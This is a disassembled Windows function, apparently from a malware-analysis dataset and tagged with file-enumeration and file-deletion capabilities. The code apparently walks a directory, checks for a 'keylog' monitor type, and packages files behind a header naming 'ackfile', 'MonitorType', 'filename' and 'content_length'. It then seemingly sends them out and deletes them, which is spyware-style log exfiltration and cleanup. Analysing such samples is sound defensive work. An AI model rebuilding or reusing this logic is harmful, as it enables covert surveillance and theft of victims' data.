Function at 0x1000f160
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
sub esp, 0x3e8
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1a8]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x3f0]
lea ecx, [esp + 0x1a8]
push eax
push 0x100316cc
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea edx, [esp + 0x2ac]
lea eax, [esp + 0x1a8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
je 0x1000f401
push ebx
push ebp
xor ebx, ebx
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_time]
mov esi, eax
add esp, 4
mov dword [esp + 0x24], esi
jmp 0x1000f1d3
mov esi, dword [esp + 0x24]
mov edx, dword [esp + 0x3fc]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x2e4]
lea eax, [esp + 0x4c]
push ecx
push edx
push 0x10030690
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x5c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stat]
add esp, 0x18
test eax, eax
jne 0x1000f3cf
mov eax, dword [esp + 0x3c]
cmp eax, ebx
jle 0x1000f3c4
cmp eax, 0x3938700
jg 0x1000f3c4
mov ecx, dword [esp + 0x48]
mov eax, esi
sub eax, ecx
cdq
xor eax, edx
sub eax, edx
cmp eax, 0xb40
jg 0x1000f3c4
cmp esi, dword [esp + 0x44]
jle 0x1000f3cf
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
call fcn.10005160
mov eax, dword [esp + 0x20]
add esp, 0xc
cmp eax, ebx
mov ebp, eax
je 0x1000f3cf
cmp dword [esp + 0x404], ebx
je 0x1000f2a5
mov ecx, dword [0x100315fc]
lea edx, [esp + 0x10]
push ecx
push edx
push eax
call fcn.1000ed10
add esp, 0xc
jmp 0x1000f2b3
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.1000ecc0
add esp, 8
mov edi, dword [esp + 0x400]
push str.keylog
push edi
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000f2e9
mov edx, dword [esp + 0x10]
push 0x2345
push 0xe
push edx
push ebp
call fcn.10002e30
add esp, 0x10
mov esi, eax
jmp 0x1000f395
push ebx
call dword [sym.imp.MSVCRT.dll_time]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.MSVCRT.dll_localtime]
add esp, 8
cmp eax, ebx
jne 0x1000f30f
mov dword [esp + 0x150], ebx
jmp 0x1000f328
push eax
push str._Y_m_d_H_M_S
lea ecx, [esp + 0x158]
push 0x64
push ecx
call dword [sym.imp.MSVCRT.dll_strftime]
add esp, 0x10
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [esp + 0x14]
add esp, 4
mov esi, eax
lea eax, [esp + 0x150]
push edx
lea ecx, [esp + 0x50]
push eax
push ecx
lea edx, [esp + 0x58]
push edi
push edx
push str.ackfile:__s_r_nMonitorType:__s_r_nfilename:__s_r_ntime:__s_r_ncontent_length:__d_r_n_r_n
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ebx, eax
call fcn.1000f0f0
mov edi, eax
push edi
push 5
push ebx
push esi
call fcn.10002e30
add esp, 0x2c
test eax, eax
je 0x1000f386
mov eax, dword [esp + 0x10]
push edi
push 5
push eax
push ebp
call fcn.10002e30
add esp, 0x10
push esi
call fcn.10010220
mov esi, dword [esp + 0x20]
add esp, 4
xor ebx, ebx
push ebp
call fcn.10010220
add esp, 4
cmp esi, ebx
je 0x1000f3cf
cmp dword [esp + 0x404], ebx
je 0x1000f3b2
lea ecx, [esp + 0x4c]
push ecx
jmp 0x1000f3c9
push 5
lea edx, [esp + 0x50]
push ebx
push edx
call fcn.10004ff0
add esp, 0xc
jmp 0x1000f3cf
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x2b8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000f1cf
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x3e8
ret
mov eax, 1
pop edi
add esp, 0x3e8
ret